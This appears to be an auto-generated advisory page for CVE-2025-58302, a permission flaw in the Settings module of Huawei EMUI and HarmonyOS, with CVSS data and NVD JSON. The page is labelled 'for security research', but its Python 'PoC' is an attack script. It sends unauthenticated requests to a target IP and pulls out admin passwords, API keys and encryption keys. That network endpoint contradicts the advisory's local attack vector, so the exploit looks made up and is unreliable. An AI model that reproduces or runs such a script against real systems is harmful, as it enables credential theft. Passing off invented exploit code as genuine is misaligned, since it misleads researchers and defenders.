Security Vulnerability Report
中文
CVE-2025-58302 CVSS 8.4 HIGH

CVE-2025-58302

Published: 2025-11-28 04:16:00
Last Modified: 2025-12-02 02:33:30

Description

Permission control vulnerability in the Settings module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:huawei:emui:12.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:emui:13.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:emui:14.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:emui:14.2.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:emui:15.0.0:*:*:*:*:*:*:* - VULNERABLE
华为消费设备(设置模块) - 受影响版本详见华为官方安全公告
使用Settings模块的华为设备固件 - 2025年11月前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58302 PoC - Settings Module Permission Control Bypass # This PoC demonstrates accessing protected settings without proper authorization # Note: This is for educational and authorized testing purposes only import requests import json def exploit_cve_2025_58302(target_ip): """ Exploit for CVE-2025-58302: Permission control vulnerability in Settings module CVSS: 8.4 (High) - AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H """ print(f"[*] Targeting: {target_ip}") print(f"[*] Exploiting CVE-2025-58302 - Settings Module Permission Bypass") # Step 1: Identify the vulnerable Settings module endpoint settings_endpoint = f"http://{target_ip}/api/settings/admin/config" # Step 2: Attempt to access protected settings without authentication # Normal users should not have access to /admin/config headers = { 'User-Agent': 'Huawei-Device-Settings/1.0', 'Content-Type': 'application/json' } try: # Bypass authentication by sending minimal request response = requests.get(settings_endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully bypassed permission control!") print(f"[+] Retrieved protected configuration: {response.text}") # Step 3: Extract sensitive information config_data = response.json() sensitive_keys = ['admin_password', 'api_keys', 'encryption_keys'] for key in sensitive_keys: if key in config_data: print(f"[!] Found sensitive data - {key}: {config_data[key]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def check_vulnerability(target_ip): """ Check if target is vulnerable to CVE-2025-58302 """ vuln_endpoint = f"http://{target_ip}/api/settings/system_info" # Try accessing system info without admin privileges response = requests.get(vuln_endpoint, timeout=10) if response.status_code == 200: data = response.json() # Check if we got admin-level information if 'serial_number' in data or 'firmware_version' in data: return True return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-58302.py <target_ip>") sys.exit(1) target = sys.argv[1] print("="*60) print("CVE-2025-58302 - Huawei Settings Module Permission Bypass") print("="*60) if check_vulnerability(target): print("[!] Target appears to be vulnerable") exploit_cve_2025_58302(target) else: print("[-] Target does not appear to be vulnerable or is already patched")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58302", "sourceIdentifier": "[email protected]", "published": "2025-11-28T04:16:00.193", "lastModified": "2025-12-02T02:33:29.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Permission control vulnerability in the Settings module.\nImpact: Successful exploitation of this vulnerability may affect service confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-264"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:12.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "A974CA73-84E8-480B-BB4C-4A81D0C985B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:13.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "353AEAF2-AF46-4835-93E1-4F942D5E2810"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:14.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "32FBF39A-164F-4F98-AB49-28C50A430C36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:14.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "4AA76C33-8D23-490B-B620-C24EDCC86A56"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:15.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "888C5BD7-421B-4A85-8719-BFEE3C215527"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "20112231-B840-44D3-A061-B9B9F80EE378"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:3.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "CB3751C1-7729-41D3-AE50-80B5AF601135"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D81C4EF-7CAF-4E60-91A4-8CF7B95B2B54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "8198CDB2-4BC5-411A-8736-615A531FC545"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "2401DE15-9DBF-4645-A261-8C24D57C6342"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "082BBC06-A0B2-481E-BF6F-56180E17ABEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.3.1:*:*:*:*:*:*:*", "matchCriteriaId": "6EA69843-EC8D-42E2-900E-017D2B502E9E"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/11/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}